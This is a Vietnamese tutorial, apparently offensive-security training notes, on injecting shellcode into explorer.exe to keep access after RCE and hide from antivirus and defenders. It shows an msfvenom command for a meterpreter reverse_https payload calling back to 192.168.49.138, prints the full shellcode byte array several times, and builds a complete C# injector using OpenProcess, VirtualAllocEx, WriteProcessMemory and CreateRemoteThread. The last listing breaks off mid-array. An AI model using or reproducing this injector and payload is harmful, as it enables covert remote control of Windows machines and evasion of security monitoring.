Tìm hiểu cơ bản về Process Injection
Bài toán đặt ra là trường hợp chúng ta đã chiếm quyền điều khiển Victim thành công (RCE), tuy nhiên cần duy trì sự hiện diện thường xuyên, đồng thời che mắt AntiVirus và đội ngũ Blue Team. Trong quá trình hoạt động thông thường, nạn nhân có thể đóng ứng dụng hay mã độc bị phát hiện và bị xóa đi. Do đó chúng ta cần quá trình process injection
Để kéo dài tuổi thọ của Malware, chúng ta có thể "anh hùng núp" trong một process hợp pháp.Một trong những process như vậy là explorer.exe.
explorer.exe luôn là một mục tiêu lý tưởng để injection. Đơn giản nó luôn tồn tại và không thoát ra cho đến khi người dùng đăng xuất.
1. Process Injection
Theo định nghĩa, một process là một container được tạo ra để chứa một ứng dụng đang chạy. Mỗi tiến trình Windows thì duy trì một "virtual memory space" của riêng nó. Đồng thời chúng ta có thể tương tác với nó thông qua Win32 API
Về tổng quan, chúng ta có thể bắt đầu process injection bằng cách mở một channel từ process này sang process khác thông qua hàm OpenProcess
- sau đó chúng ta sẽ sử đổi không gian bộ nhớ thông qua hàm VirtualAllocEx
và WriteProcessMemory
và cuối cùng thực thi bên trong process với CreateRemoteThread
Đầu tiên, để có thể can thiệp vào một process - chúng ta cần có quyền làm điều đó với tham số check dwDesiredAccess
Mở notepad
với user thông thường - tiến trình notepad.exe khởi chạy
Kiểm tra tiến hình với process_dump (https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer)
Kiểm tra khả năng control của tài khoản với process này
Ta có thể thấy rằng, Notepad được bảo mật ở mức độ trung bình, đồng thời tài khoản user có quyền đọc và ghi với process này.
Mở notepad
với user admin
Khi này ta thấy mức độ bảo mật đã được nâng lên mức HIGH
và user thường không còn quyền truy cập vào process này nữa
Như vậy ta chỉ có thể injection vào process đang chạy ở cùng một mức độ toàn vẹn hoặc thấp hơn.
Quay lại function sau đây
bInheritHandle
xác định xem return có thể được kế thừa bởi một chương trình con hay không (BOOL)dwProcessId
chỉ định ID process cần injection
Sau khi OpenProcess() để xác định process, chúng ta sử dụng VirtualAllocEx() để cấp phát bộ nhớ - mở rộng không gian để chứa shellcode - của chúng ta
Tiếp theo là WriteProcessMemory
cho phép chúng ta injection shellcode vào process.
và CreateRemoteThread
để run process
1.2. Process Injection với C#
Tóm tắt quá trình chúng ta sẽ inject 1 Shellcode vào process explorer sử dụng C#
Nguyên liệu :
- Shellcode (Generate với msfvenom)
sudo msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.49.138 lport=443 -b "x00" -f csharp
byte[] buf = new byte[773] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x44,
0x8b,0x40,0x20,0x8b,0x48,0x18,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x4d,
0x31,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,
0x0d,0xac,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x41,0x58,
0x48,0x01,0xd0,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,
0x6e,0x65,0x74,0x00,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,
0x07,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,
0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x00,0x00,0x00,0x00,0xff,0xd5,
0xe8,0x0f,0x00,0x00,0x00,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x34,0x39,
0x2e,0x31,0x33,0x38,0x00,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0x5c,0x11,0x00,
0x00,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x03,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,
0x00,0x00,0x00,0x00,0xff,0xd5,0xe8,0xdb,0x00,0x00,0x00,0x2f,0x4d,0x45,0x76,
0x4b,0x50,0x6c,0x44,0x53,0x69,0x76,0x4e,0x4e,0x35,0x30,0x7a,0x6c,0x4c,0x36,
0x5f,0x41,0x78,0x77,0x39,0x77,0x77,0x61,0x55,0x41,0x6d,0x43,0x6b,0x7a,0x4b,
0x5f,0x51,0x61,0x48,0x4d,0x58,0x53,0x70,0x75,0x4b,0x6b,0x73,0x73,0x73,0x69,
0x71,0x52,0x44,0x34,0x46,0x58,0x69,0x52,0x34,0x35,0x52,0x7a,0x33,0x38,0x6b,
0x72,0x68,0x75,0x41,0x6d,0x2d,0x66,0x6f,0x5a,0x36,0x49,0x32,0x6a,0x78,0x44,
0x76,0x75,0x72,0x6e,0x66,0x62,0x64,0x4f,0x45,0x33,0x57,0x33,0x65,0x54,0x51,
0x59,0x4a,0x59,0x4e,0x64,0x67,0x4d,0x66,0x4c,0x41,0x74,0x59,0x51,0x67,0x39,
0x4f,0x72,0x67,0x71,0x48,0x55,0x70,0x34,0x44,0x59,0x47,0x53,0x64,0x4d,0x37,
0x52,0x47,0x75,0x4d,0x32,0x46,0x43,0x6a,0x38,0x38,0x50,0x52,0x4d,0x58,0x59,
0x57,0x57,0x6d,0x56,0x55,0x41,0x71,0x6d,0x6f,0x70,0x36,0x2d,0x61,0x4d,0x45,
0x50,0x75,0x37,0x53,0x53,0x4f,0x41,0x4e,0x56,0x59,0x5a,0x79,0x5f,0x7a,0x5f,
0x74,0x47,0x71,0x55,0x73,0x32,0x50,0x64,0x2d,0x34,0x65,0x65,0x46,0x6e,0x78,
0x41,0x52,0x32,0x6d,0x6f,0x41,0x59,0x4f,0x4f,0x6f,0x6a,0x32,0x65,0x4f,0x51,
0x4c,0x47,0x4d,0x32,0x51,0x55,0x51,0x2d,0x2d,0x32,0x42,0x43,0x2d,0x33,0x64,
0x54,0x31,0x2d,0x78,0x00,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,
0x53,0x48,0xb8,0x00,0x32,0xa8,0x84,0x00,0x00,0x00,0x00,0x50,0x53,0x53,0x49,
0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0x0a,0x5f,0x48,
0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x00,0x00,0x49,0x89,0xe0,0x6a,
0x04,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x00,0x00,0x00,0x00,0xff,0xd5,
0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,
0x53,0x49,0xc7,0xc2,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,
0xc7,0xc1,0x88,0x13,0x00,0x00,0x49,0xba,0x44,0xf0,0x35,0xe0,0x00,0x00,0x00,
0x00,0xff,0xd5,0x48,0xff,0xcf,0x74,0x02,0xeb,0xaa,0xe8,0x55,0x00,0x00,0x00,
0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x00,
0x10,0x00,0x00,0x49,0xba,0x58,0xa4,0x53,0xe5,0x00,0x00,0x00,0x00,0xff,0xd5,
0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,
0xc0,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x00,
0x00,0x00,0x00,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,
0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,
0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 };
explorer.exe
Process ID (5536)
- Code C# Visual Studio
using System;
using System.Runtime.InteropServices;
namespace Inject
{
class Program
{
static void Main(string[] args)
{
}
}
}
- Gọi API Win32
Quay lại quá trình Process Injection ta cơ bản có 4 quá trình như sau
Bước 1 . Gọi OpenProcess để xác định process cần injection
Bước 2. Mở rộng không gian chứa shell code với VirtualAllocEx
Bước 3. Ghi shellcode vào process với WriteProcessMemory
Bước 4. Thực thi procees với CreateRemoteThread
Vậy để có thể thực hiện hành công quá trình process injection ta cần lần lượt gọi các API : OpenProcess , VirtualAllocEx , WriteProcessMemory , CreateRemoteThread sau đó thực thi chúng với các parameter thích hợp
Để gọi các API trên, ta tiến hành truy cập vào www.pinvoke.net, sau đó lần lượt search các API trên ta sẽ có được các kết quả
OpenProcess
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess,bool bInheritHandle,uint processId);
VirtualAllocEx
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
WriteProcessMemory
[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr hProcess,IntPtr lpBaseAddress,byte[]
lpBuffer,Int32 nSize,out IntPtr lpNumberOfBytesWritten);
CreateRemoteThread
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
Đoạn code sẽ trở nên như này
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
namespace ConsoleApp2
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess,bool bInheritHandle,uint processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr hProcess,IntPtr lpBaseAddress,byte[] lpBuffer,Int32 nSize,out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
static void Main(string[] args)
{
// Tham số sẽ ghi ở đây
}
}
}
Sử dụng Win32 API
- Đầu tiên là API OpenProcess . Tra cứu trên tài liệu của Microsoft ra có `
HANDLE OpenProcess(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);
- Tham số dwDesiredAccess là quyền truy cập mà chúng ta muốn có được cho process . Giá trị của nó sẽ được kiểm tra dựa trên "security descriptor" (2 giá trị này phải tương thích với nhau). Ở đây ra set quyền
PROCESS_ALL_ACCESS
. Quyền này sẽ cung cấp cho chúng ta truy cập đầy đủ vàoexplorer.exe
Biểu diễn dưới dạng thập lục phân ta có giá trị 0x001F0FFF
- Tham số bInheritHandle cho chúng ta quyết định xem , liệu một child process đã tạo, có thể kế thừa xử lý này hay không.
Trong trường hợp này, chúng ta không cần quan tâm nên đặt là false
- Tham số dwProcessId cho ID của process
explorer.exe
mà ta đã lấy được bên trên 5536
Tổng quan với API OpenProcess ta có
IntPtr hProcess = OpenProcess(0x001F0FFF, false, 5536)
- Tiếp theo, chúng ta tiến hành bước cấp phát bộ nhớ với VirtualAllocEx, tra cứu tài liệu API ta có các dùng như sau
LPVOID VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
-
Tham số hProcess chính là process xử lý explorer.exe mà ta đã lấy được từ trước
-
Tham số lpAddress là địa chỉ mong muốn mà ta muốn cấp phát cho remote process. Nếu API thành công,Buffer mới sẽ được cấp phát với một địa chỉ ban đầu như được cung cấp trong lpAddress . Tuy nhiên nếu giá trị này đã được cấp phát thì API sẽ không gọi thành công . Cho nên tốt nhất để giá trị null, API sẽ sử dụng một địa chỉ không sử dụng lpAddress = IntPtr.Zero
Quá trình này giống như khi ta sử dụng IP static trong mạng LAN. Nếu IP đã được dùng rồi, kết nối sẽ không thành công. Thay vì đó chúng ta sử dụng DHCP để tự động cấp các IP đang không được sử dụng
- 3 tham số dwSize, flAllocationType, flProtect chỉ định : Kích thước phân bổ mong muốn , Kiểu cấp phát , Bảo vệ bố nhớ
Ở đây ta set chúng tương ứng thành 0x1000 (4096 byte) , 0x3000 (MEM_COMMIT và MEM_RESERVE) , 0x40 (PAGE_EXECUTE_READWRITE)
Tổng quan với VirtualAllocEx ta có
IntPtr addr = VirtualAllocEx(hProcess,IntPtr.Zero, 0x1000, 0x3000,0x40)
- Tiếp đến ta tiến hành sao chép Shellcode vào memory space của explorer.exe thông qua WriteProcessMemory
Tra cứu tài liệu Microsoft ta có thông số như sau
BOOL WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
);
- Tham số hProcess như bên trên
- Tham số lpBaseAddress là địa chỉ bộ nhớ mới được cấp phát trong explorer.exe
- Tham số lpBuffer địa chỉ mảng byte chứa shellcode
- Tham số nSize là kích thước của shellcode sẽ được sao chép
- Tham số lpNumberOfBytesWritten để output ra bao nhiêu dữ liệu đã được sao chép
Kết hợp với shellcode đã tạo ở trên ta có code
byte[] buf = new byte[773] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x44,
0x8b,0x40,0x20,0x8b,0x48,0x18,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x4d,
0x31,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,
0x0d,0xac,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x41,0x58,
0x48,0x01,0xd0,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,
0x6e,0x65,0x74,0x00,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,
0x07,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,
0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x00,0x00,0x00,0x00,0xff,0xd5,
0xe8,0x0f,0x00,0x00,0x00,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x34,0x39,
0x2e,0x31,0x33,0x38,0x00,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0x5c,0x11,0x00,
0x00,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x03,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,
0x00,0x00,0x00,0x00,0xff,0xd5,0xe8,0xdb,0x00,0x00,0x00,0x2f,0x4d,0x45,0x76,
0x4b,0x50,0x6c,0x44,0x53,0x69,0x76,0x4e,0x4e,0x35,0x30,0x7a,0x6c,0x4c,0x36,
0x5f,0x41,0x78,0x77,0x39,0x77,0x77,0x61,0x55,0x41,0x6d,0x43,0x6b,0x7a,0x4b,
0x5f,0x51,0x61,0x48,0x4d,0x58,0x53,0x70,0x75,0x4b,0x6b,0x73,0x73,0x73,0x69,
0x71,0x52,0x44,0x34,0x46,0x58,0x69,0x52,0x34,0x35,0x52,0x7a,0x33,0x38,0x6b,
0x72,0x68,0x75,0x41,0x6d,0x2d,0x66,0x6f,0x5a,0x36,0x49,0x32,0x6a,0x78,0x44,
0x76,0x75,0x72,0x6e,0x66,0x62,0x64,0x4f,0x45,0x33,0x57,0x33,0x65,0x54,0x51,
0x59,0x4a,0x59,0x4e,0x64,0x67,0x4d,0x66,0x4c,0x41,0x74,0x59,0x51,0x67,0x39,
0x4f,0x72,0x67,0x71,0x48,0x55,0x70,0x34,0x44,0x59,0x47,0x53,0x64,0x4d,0x37,
0x52,0x47,0x75,0x4d,0x32,0x46,0x43,0x6a,0x38,0x38,0x50,0x52,0x4d,0x58,0x59,
0x57,0x57,0x6d,0x56,0x55,0x41,0x71,0x6d,0x6f,0x70,0x36,0x2d,0x61,0x4d,0x45,
0x50,0x75,0x37,0x53,0x53,0x4f,0x41,0x4e,0x56,0x59,0x5a,0x79,0x5f,0x7a,0x5f,
0x74,0x47,0x71,0x55,0x73,0x32,0x50,0x64,0x2d,0x34,0x65,0x65,0x46,0x6e,0x78,
0x41,0x52,0x32,0x6d,0x6f,0x41,0x59,0x4f,0x4f,0x6f,0x6a,0x32,0x65,0x4f,0x51,
0x4c,0x47,0x4d,0x32,0x51,0x55,0x51,0x2d,0x2d,0x32,0x42,0x43,0x2d,0x33,0x64,
0x54,0x31,0x2d,0x78,0x00,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,
0x53,0x48,0xb8,0x00,0x32,0xa8,0x84,0x00,0x00,0x00,0x00,0x50,0x53,0x53,0x49,
0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0x0a,0x5f,0x48,
0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x00,0x00,0x49,0x89,0xe0,0x6a,
0x04,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x00,0x00,0x00,0x00,0xff,0xd5,
0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,
0x53,0x49,0xc7,0xc2,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,
0xc7,0xc1,0x88,0x13,0x00,0x00,0x49,0xba,0x44,0xf0,0x35,0xe0,0x00,0x00,0x00,
0x00,0xff,0xd5,0x48,0xff,0xcf,0x74,0x02,0xeb,0xaa,0xe8,0x55,0x00,0x00,0x00,
0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x00,
0x10,0x00,0x00,0x49,0xba,0x58,0xa4,0x53,0xe5,0x00,0x00,0x00,0x00,0xff,0xd5,
0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,
0xc0,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x00,
0x00,0x00,0x00,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,
0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,
0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 };
IntPtr outSize;
WriteProcessMemory(hProcess,addr,buf , buf.Length, out outSize);
Ở đây ta thấy một giá trị "mới" được thêm vào đó là
out
. Để nó chuyển quareference
thay vì là mộtValue
- Tiếp đến ta thực thi shellcode thông qua CreateRemoteThread
Tra cứu tài liệu Microsoft ra có
HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
Ở đây ta thấy có nhiều tham số, nhưng ta không cần phải gọi hết ,
-
Tham số hProcess như trên
-
Tham số lpThreadAttributes mô tả bảo mật mong muốn của thread mới (mặc định là NULL)
-
Tham số dwStackSize set kích thước Slack (Mặc định đặt là 0)
-
Tham số lpStartAddress chỉ định địa chỉ bắt đầu của thread, trong trường hợp của chúng ta, nó phải bắt đầu bằng địa chỉ buffer mà chúng ta đã cấp phát bên trên
-
Tham số lpParameter là một con trỏ tới các biến sẽ được chuyển đến hàm lpStartAddress . Vì Shellcode của chúng ta không có bất kỳ options nào, nên đặt một giá trị NULL tại đây
-
Hai tham số dwCreationFlags và lpThreadId ta bỏ qua
Như vậy là có lần lượt các giá trị sau : hProcess , IntPtr.Zero , 0 , addr , IntPtr.Zero , 0 ,IntPtr.Zero)
Code sẽ thành
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
Đoạn code cuối cùng chúng ta nhận được
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
namespace ConsoleApp2
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess,bool bInheritHandle,uint processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr hProcess,IntPtr lpBaseAddress,byte[] lpBuffer,Int32 nSize,out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
static void Main(string[] args)
{
IntPtr hProcess = OpenProcess(0x001F0FFF, false, 5536);
IntPtr addr = VirtualAllocEx(hProcess,IntPtr.Zero, 0x1000, 0x3000,0x40);
byte[] buf = new byte[773] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x44,
0x8b,0x40,0x20,0x8b,0x48,0x18,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x4d,
0x31,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,
0x0d,0xac,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x41,0x58,
0x48,0x01,0xd0,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,
0x6e,0x65,0x74,0x00,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,
0x07,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,
0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x00,0x00,0x00,0x00,0xff,0xd5,
0xe8,0x0f,0x00,0x00,0x00,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x34,0x39,
0x2e,0x31,0x33,0x38,0x00,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0x5c,0x11,0x00,
0x00,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x03,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,
0x00,0x00,0x00,0x00,0xff,0xd5,0xe8,0xdb,0x00,0x00,0x00,0x2f,0x4d,0x45,0x76,
0x4b,0x50,0x6c,0x44,0x53,0x69,0x76,0x4e,0x4e,0x35,0x30,0x7a,0x6c,0x4c,0x36,
0x5f,0x41,0x78,0x77,0x39,0x77,0x77,0x61,0x55,0x41,0x6d,0x43,0x6b,0x7a,0x4b,
0x5f,0x51,0x61,0x48,0x4d,0x58,0x53,0x70,0x75,0x4b,0x6b,0x73,0x73,0x73,0x69,
0x71,0x52,0x44,0x34,0x46,0x58,0x69,0x52,0x34,0x35,0x52,0x7a,0x33,0x38,0x6b,
0x72,0x68,0x75,0x41,0x6d,0x2d,0x66,0x6f,0x5a,0x36,0x49,0x32,0x6a,0x78,0x44,
0x76,0x75,0x72,0x6e,0x66,0x62,0x64,0x4f,0x45,0x33,0x57,0x33,0x65,0x54,0x51,
0x59,0x4a,0x59,0x4e,0x64,0x67,0x4d,0x66,0x4c,0x41,0x74,0x59,0x51,0x67,0x39,
0x4f,0x72,0x67,0x71,0x48,0x55,0x70,0x34,0x44,0x59,0x47,0x53,0x64,0x4d,0x37,
0x52,0x47,0x75,0x4d,0x32,0x46,0x43,0x6a,0x38,0x38,0x50,0x52,0x4d,0x58,0x59,
0x57,0x57,0x6d,0x56,0x55,0x41,0x71,0x6d,0x6f,0x70,0x36,0x2d,0x61,0x4d,0x45,
0x50,0x75,0x37,0x53,0x53,0x4f,0x41,0x4e,0x56,0x59,0x5a,0x79,0x5f,0x7a,0x5f,
0x74,0x47,0x71,0x55,0x73,0x32,0x50,0x64,0x2d,0x34,0x65,0x65,0x46,0x6e,0x78,
0x41,0x52,0x32,0x6d,0x6f,0x41,0x59,0x4f,0x4f,0x6f,0x6a,0x32,0x65,0x4f,0x51,
0x4c,0x47,0x4d,0x32,0x51,0x55,0x51,0x2d,0x2d,0x32,0x42,0x43,0x2d,0x33,0x64,
0x54,0x31,0x2d,0x78,0x00,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,
0x53,0x48,0xb8,0x00,0x32,0xa8,0x84,0x00,0x00,0x00,0x00,0x50,0x53,0x53,0x49,
0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0x0a,0x5f,0x48,
0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x00,0x00,0x49,0x89,0xe0,0x6a,
0x04,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x00,0x00,0x00,0x00,0xff,0xd5,
